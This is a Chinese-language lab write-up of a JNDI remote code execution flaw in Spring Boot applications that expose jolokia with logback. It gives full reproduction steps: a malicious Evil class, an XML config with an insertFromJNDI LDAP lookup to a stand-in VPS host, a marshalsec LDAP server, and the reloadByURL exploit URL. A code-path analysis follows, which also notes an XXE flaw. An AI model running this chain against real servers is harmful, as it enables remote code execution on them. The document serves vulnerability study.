jolokia logback JNDI RCE
环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
IDEA打开配置一个Spring Boot程序就可以跑了
漏洞前情
利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖并且环境中存在相关 MBean(如ch.qos.logback.classic.jmx.JMXConfigurator
)
复现过程:
-
访问 http://localhost:9094/jolokia/list 查看所有的MBean,看是否存在
ch.qos.logback.classic.jmx.JMXConfigurator
以及reloadByURL
关键字,存在则可以尝试利用 -
编写恶意类
Evil.java
,并用javac Evil.java
对恶意类进行编译成Evil.class
,放在 VPS 上public class Evil{ public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe");} }
-
编写
example.xml
文件,放在 VPS 和Evil.class
同目录下(把your-vps-ip
换成 VPS 地址即可)<configuration><insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> </configuration>
-
用 python 在 VPS 上开启一个web服务,要在
Evil.class
同目录下开启web服务,让Evil.class
和example.xml
在 web 根目录python2 -m SimpleHTTPServer 80 python3 -m http.server 80
-
使用 marshalsec 在 VPS 上架设一个 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.141:80/#Evil 1389
-
访问 http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.141!/example.xml 弹出计算机
漏洞分析
漏洞简述:
jolokia的
JMXConfigurator#reloadByURL
方法允许从外部URL地址重新加载日志的记录配置,上面的POC就是相当于调用ch.qos.logback.classic.jmx.JMXConfigurator#reloadByURL
方法去加载 http://192.168.43.141/example.xml 外部URL地址指向的文件并进行xml解析,解析xml的时候没有任何防护,所以也存在xxe漏洞。回看到我们上面的xml文件,里面存在一个 insertFromJNDI 标签,如果 logback 读取到该标签,就会对标签实例化一个 InsertFromJNDIAction 对象,调用该对象的 begin 方法,begin 方法方法会生成上下文进行目标请求,也就是请求ldap服务!
代码分析:
在 JolokiaMvcEndpoint 类看 jolokia 是如何注册的,只要第一个 path 节点为 jolokia,则所有请求都会经过 handle 方法
在 JmxRequestFactory#createGetRequest 方法中
,通过 EscapeUtil.extractElementsFromPath
把我们的path节点按照 /
为分隔符进行分割,但是 POC 中协议中需要有 /
,怎么办?只要 !/
这样就能保留 /
在 JMXConfigurator#reloadByURL
方法中调用 configurator.doConfigure
方法
跟进这个方法,先和 url 建立连接,再获取 url 指向资源的内容,也就是 VPS 上的xml文件,获取到输入流赋值给 in
变量,然后再调用 doConfigure 方法
跟进 doConfigure 方法,其再调用 doConfigure 方法
继续跟进,通过 recordEvents 方法解析xml内容
跟进 recordEvents 方法,通过 buildSaxParser 和 saxParser.parse
解析,解析完后 saxEventList 就是xml文件里面的内容
跟进 buildSaxParser 方法,看到其解析xml文件没有任何防护,所以这里也存在xxe漏洞
解析完 xml 文件内容之后,再次调用 doConfigure 方法,传入参数为解析出来的xml文件内容
跟进,其调用了 play 方法
跟进 play 方法,这里对解析出来的xml文件内容进行遍历,第二次遍历就遍历到LDAP,调用startElement方法
跟进 startElement 方法,调用startElement方法
跟进startElement方法,其调用callBeginAction方法
跟进callBeginAction方法,调用begin方法
跟进 begin方法,可以看到调用 JNDIUtil.lookup
方法访问恶意ldap服务
总结
一开始调试代码总是看不懂,感觉有太多的干扰代码了,其实那些干扰代码不用去看也行的,看那些漏洞关键点的代码理清大概流程和逻辑!
Reference:
https://www.cnblogs.com/zpchcbd/p/15542705.html
https://xz.aliyun.com/t/4258
https://github.com/mpgn/Spring-Boot-Actuator-Exploit